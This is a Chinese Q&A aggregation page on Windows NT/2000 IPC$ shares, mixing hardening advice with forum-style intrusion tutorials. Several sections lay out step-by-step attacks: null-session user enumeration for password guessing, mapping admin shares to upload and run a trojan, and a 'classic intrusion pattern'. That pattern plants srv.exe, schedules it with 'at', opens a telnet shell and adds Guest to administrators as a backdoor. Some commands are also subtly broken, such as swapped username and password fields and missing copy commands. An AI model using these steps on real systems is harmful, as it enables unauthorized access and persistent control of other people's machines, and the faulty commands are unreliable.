當前位置:首頁 » 手機軟體 » ipc如何開放網路共享
擴展閱讀
學習期權看哪個網站 2025-05-10 03:33:52
電腦改密碼按啥鍵 2025-05-10 03:15:32

ipc如何開放網路共享

發布時間: 2022-05-14 08:01:41

A. 建立ipc$共享連接需要什麼前提條件

一 摘要
二 什麼是ipc$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$所使用的埠
六 ipc管道在hack攻擊中的意義
七 ipc$連接失敗的常見原因
八 復制文件失敗的原因
九 關於at命令和xp對ipc$的限制
如何打開目標的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能會用到的命令
十三 對比過去和現今的ipc$入侵
十四 如何防範ipc$入侵
十五 ipc$入侵問答精選

一 摘要
注意:本文所討論的各種情況均默認發生在win NT/2000環境下,win98將不在此次討論之列。

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在有意無意中,導致了系統安全性的降低。
平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這么說,一定是指微軟自己安置的那個『後門』:空會話(Null session)。那麼什麼是空會話呢?

三 什麼是空會話
在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,建立雙方通過它互通信息,這個過程的大致順序如下:
1)會話請求者(客戶)向會話接收者(伺服器)傳送一個數據包,請求安全隧道的建
立;
2)伺服器產生一個隨機的64位數(實現挑戰)傳送回客戶;
3)客戶取得這個由伺服器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結
果返回到伺服器(實現響應);
4)伺服器接受響應後發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是伺服器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控制器去核實。當對挑戰的響應核實為正確後,一個訪問令牌產生,然後傳送給客戶。客戶使用這個訪問令牌連接到伺服器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程,那麼空會話又如何呢?

空會話是在沒有信任的情況下與伺服器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中並沒有經過用戶信息的認證,所以這個令牌中不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含安全標識符SID(它標識了用戶和所屬組),對於一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶名是:ANONYMOUS LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM資料庫中找到,屬於系統內置的帳號),這個訪問令牌包含下面偽裝的組:
Everyone
Network
在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢?

四 空會話可以做什麼
對於NT,在默認安全設置下,藉助空連接可以列舉目標主機上的用戶和共享,訪問everyone許可權的共享,訪問小部分注冊表等,並沒有什麼太大的利用價值;對2000作用更小,因為在Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網路訪問到注冊表,而且實現起來也不方便,需藉助工具。
從這些我們可以看到,這種非信任會話並沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺少的跳板,因為我們從它那裡可以得到戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:

1 首先,我們先建立一個空連接(當然,這需要目標開放ipc$)
命令:net use \\ip\ipc$ "" /user:""
注意:上面的命令包括四個空格,net與use中間有一個空格,use後面一個,密碼左右各一個空格。

2 查看遠程主機的共享資源
命令:net view \\ip
解釋:前提是建立了空連接後,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結果,但此命令不能顯示默認共享。

在 \\*.*.*.*的共享資源
資源共享名 類型 用途 注釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看遠程主機的當前時間
命令: net time \\ip
解釋:用此命令可以得到一個遠程主機的當前時間。

4 得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
命令:nbtstat -A ip
用此命令可以得到一個遠程主機的NetBIOS用戶名列表,返回如下結果:

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在Event Log中留下記錄,不管你是否登錄成功。 好了,那麼下面我們就來看看ipc$所使用的埠是什麼?

五 ipc$所使用的埠
首先我們來了解一些基礎知識:
1 SMB:(Server Message Block) Windows協議族,用於文件列印共享的服務;
2 NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)埠實現基於TCP/IP協議的NETBIOS網路互聯。
3 在WindowsNT中SMB基於NBT實現,即使用139(TCP)埠;而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445埠實現。

有了這些基礎知識,我們就可以進一步來討論訪問網路共享對埠的選擇了:

對於win2000客戶端(發起端)來說:
1 如果在允許NBT的情況下連接伺服器時,客戶端會同時嘗試訪問139和445埠,如果445埠有響應,那麼就發送RST包給139埠斷開連接,用455埠進行會話,當445埠無響應時,才使用139埠,如果兩個埠都沒有響應,則會話失敗;
2 如果在禁止NBT的情況下連接伺服器時,那麼客戶端只會嘗試訪問445埠,如果445埠無響應,那麼會話失敗。

對於win2000伺服器端來說:
1 如果允許NBT, 那麼UDP埠137, 138, TCP 埠 139, 445將開放(LISTENING);
2 如果禁止NBT,那麼只有445埠開放。

我們建立的ipc$會話對埠的選擇同樣遵守以上原則。顯而易見,如果遠程伺服器沒有監聽139或445埠,ipc$會話是無法建立的。

六 ipc管道在hack攻擊中的意義
ipc管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放ipc管道的主機似乎更容易得手。通過ipc管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的許可權),這往往是入侵成敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc管道已經給了入侵者莫大的支持,甚至已經成為了最重要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的ipc管道而一籌莫展大呼救命。當然,我們也不能忽視許可權在ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有許可權,開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的許可權,那麼ipc管道這把雙刃劍將顯示出它猙獰的一面。

七 ipc$連接失敗的常見原因
以下是一些常見的導致ipc$連接失敗的原因:

1 IPC連接是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,所以不能在Windows 9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ipc$連接的;

2 如果想成功的建立一個ipc$連接,就需要響應方開啟ipc$共享,即使是空連接也是這樣,如果響應方關閉了ipc$共享,將不能建立連接;

3 連接發起方未啟動Lanmanworkstation服務(顯示名為:Workstation):它提供網路鏈結和通訊,沒有它發起方無法發起連接請求;

4 響應方未啟動Lanmanserver服務(顯示名為:Server):它提供了 RPC 支持、文件、列印以及命名管道共享,ipc$依賴於此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起ipc$連接;

5 響應方未啟動NetLogon,它支持網路上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);

6 響應方的139,445埠未處於監聽狀態或被防火牆屏蔽;

7 連接發起方未打開139,445埠;

8 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似於'無法更新密碼'這樣的錯誤提示(顯然空會話排除這種錯誤);

9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號""即可;

10 如果在已經建立好連接的情況下對方重啟計算機,那麼ipc$連接將會自動斷開,需要重新建立連接。

另外,你也可以根據返回的錯誤號分析原因:

錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員許可權的;
錯誤號51,Windows無法找到網路路徑:網路有問題;
錯誤號53,找不到網路路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個ipc$,請刪除再連;
錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動:目標NetLogon服務未啟動;
錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。

B. 怎麼開啟和關閉自己電腦上的IPC共享

控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-選已禁用,這時可能會有提示說:XXX服務也會關閉是否繼續,因為還有些次要的服務要依賴於server服務,不要管它。

C. IPC共享開啟

net share ipc$

D. 如何打開ipc$默認共享

1),開始---運行---REGEDIT,
(2),找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Paramaters並選中它
(3),在右窗格的任意空白區域中單擊滑鼠右鍵,在彈出的快捷菜單中選擇"新建"---"DWORD值"選項,命名為AutoShareWks,雙擊該鍵值,在彈出的"編輯DWORD值"對話框的"數值數據"文本框中輸入1表示打開磁碟共享,單擊"確定"按鈕.
(4),關閉注冊表編輯器,重起電腦使設置生效.

另外可用net share ipc$開啟

E. tl-ipc643-a4怎麼設置分享其他

你需要一個admin許可權的shell,比如telnet,木馬,cmd重定向等,然後在shell下執行:netshareipc$開放目標的ipc$共享;netshareipc$/del關閉目標的ipc$共享;如果你要給它開共享文件夾,你可以用:netsharexinxinc:這樣就把它的c盤開為共享名為xinxin共享文件夾了

F. 如何打開或者關閉ipc$共享呢

一 什麼是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)

所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.

7,怎樣防止別人用ips$和默認共享入侵我?
A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改注冊表。
1,先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有幾個刪幾個)
2,禁止建立空連接
首先運行regedit,找到如下主鍵[HKEY_LOCAL_]把RestrictAnonymous(DWORD)的鍵值改為:00000001。
3,禁止自動打開默認共享
對於server版,找到如下主鍵[HKEY_LOCAL_ LanmanServerParameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
對於pro版,則是[HKEY_LOCAL_LanmanServerParameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建一個再改鍵值。
B、另一種是關閉ipc$和默認共享依賴的服務(不推薦)
net stop lanmanserver
可能會有提示說,XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。
D、還有一個辦法就是裝防火牆,或者埠過濾。防火牆的方法就不說了,埠過濾看這里:
過配置本地策略來禁止139/445埠的連接

還有一些相關資料,你可以去http://www.ec66.com/article/list.asp?indexid=2200看下~~一般來說,裝有防火牆的話,可以無視這個東西....

G. ipc連接上後,如何開啟對方C盤共享

目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin許可權的shell,比如telnet,木馬等,然後在shell下執行net share ipc$來開放目標的ipc$,用net share ipc$ /del來關閉共享。如果你要給它開共享文件夾,你可以用net share baby=c:\,這樣就把它的c盤開為共享名為baby共享了。

H. 如何開啟IPC$默認共享

1.檢查AutoShareServer和AutoShareWks注冊表值,以確保未將它們設置為0。依次點擊「開始→運行」,輸入regedit,然後按回車鍵進入注冊表編輯器。
2.找到並單擊HKEY_LOCAL_MACHINE_System_CurrentControlSetServices_LanmanServerParameters。
3.如果LanmanServerParameters子項中的AutoShareServer 和AutoShareWks DWORD值配置的數值為0,則將該值更改為1。
4.重新啟動計算機。計算機會在啟動過程中自動創建。
5.運行net share,在共享列表中應該會查找到Admin$、C$和IPC$等默認共享的存在。

I. 開啟ipc共享

網吧 你連得上就怪..
普通內網 還有可能
net use \\ip\ipc$ "密碼" /user:"帳號"
空連接 不需要輸入 帳號 和密碼 用 "" 代替即可
但是許可權很底

關於ipc$、空連接和默認共享問題
首先需要指出的是空連接和ipc$是不同的概念。空連接是在沒有信任的情況下與伺服器建立的會話,換句話說,它是一個到伺服器的匿名訪問。ipc$是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的許可權。有許多的工具必須用到ipc$。默認共享是為了方便遠程管理而開放的共享,包含了所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。

常見問題和回答:
1,怎樣建立空連接,它有什麼用?
使用命令 net use \\IP\ipc$ "" /user:"" 就可以簡單地和目標建立一個空連接(需要目標開放ipc$)。
對於NT,在默認安全設置下,藉助空連接可以列舉目標用戶、共享,訪問everyone許可權的共享,訪問小部分注冊表等,沒有什麼利用價值。對2000作用就更小了。而且實現也不方便,需藉助工具。

2,為什麼我連不上IPC$?
1,只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2,確認你的命令沒有打錯。正確的命令是: net use \\目標IP\ipc$ "密碼" /user:"用戶名"
注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。
3,根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。

3,怎樣打開目標的IPC$?
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬。當然,這shell必須是admin許可權的。然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法)。還是不行的話(比如有防火牆,殺不了)建議放棄。

4,怎樣映射和訪問默認共享?
使用命令 net use z: \\目標IP\c$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤,其他盤類推。
如果已經和目標建立了ipc$,則可以直接用IP加盤符加$訪問。比如 muma.exe \\IP\d$\path\muma.exe 。或者再映射也可以,只是不用用戶名和密碼了:net use y: \\IP\d$ 。然後 muma.exe y:\path\muma.exe 。當路徑中包含空格時,須用""將路徑全引住。

5,如何刪除映射和ipc$連接?
用命令 net use \\IP\ipc$ /del 刪除和一個目標的ipc$連接。
用命令 net use z: /del 刪除映射的z盤,其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。

6,連上ipc$然後我能做什麼?
能使用管理員許可權的帳號成功和目標連接ipc$,表示你可以和對方系統做深入「交流」了。你可以使用各種命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享(沒開你就幫他開),你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。如果是2000server,還可以考慮開啟終端服務方便控制。這里提到的工具的使用,請看自帶的說明或相關教程。

7,怎樣防止別人用ips$和默認共享入侵我?
A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改注冊表。
1,先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………(有幾個刪幾個)
2,禁止建立空連接
首先運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous(DWORD)的鍵值改為:00000001。
3,禁止自動打開默認共享
對於server版,找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
對於pro版,則是[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建一個再改鍵值。
B、另一種是關閉ipc$和默認共享依賴的服務(不推薦)
net stop lanmanserver
可能會有提示說,XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。
D、還有一個辦法就是裝防火牆,或者埠過濾。防火牆的方法就不說了,埠過濾看這里:
過配置本地策略來禁止139/445埠的連接

J. 怎麼樣開啟ipc$ 共享

一份詳盡的IPC$入侵資料
http://www.xfocus.net/articles/200303/493.html

創建時間:2003-03-16
文章屬性:原創
文章來源:菜菜鳥社區http://ccbirds.yeah.net
文章提交:iqst (papabang_at_qingnews.com)

[ccbirds入門級教程]--各個擊破1--ipc$入侵

一 嘮叨一下:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.

解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能,其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數,所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表

三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server,還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.

四 ipc$與空連接,139,445埠,默認共享的關系
以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)

1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$連接是需要139或445埠來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)

五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445埠(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.

六 如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬,當然,這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

七 如何防範ipc$入侵
1禁止空連接進行枚舉(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2禁止默認共享
1)察看本地共享資源
運行-cmd-輸入net share
2)刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)
4)修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。

3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用

4安裝防火牆(選中相關設置),或者埠過濾(濾掉139,445等),或者用新版本的優化大師

5設置復雜密碼,防止通過ipc$窮舉密碼

(本教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社區原創http://ccbirds.yeah.net)

八 相關命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)

3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$

4)刪除一個ipc$連接
net use \\IP\ipc$ /del

5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連接,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號里的是用戶名,輸入administrators,命令即可成功完成。

2. C:\> srv.exe \\127.0.0.1\admin$
先復制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復制到什麼地方去了)。

3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這里設置的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就准備開始下面的命令。

6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧,注意埠是99。Telnet默認的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:\> ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這里的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!

9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活

11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼

12. C:\>net localgroup administrators guest /add
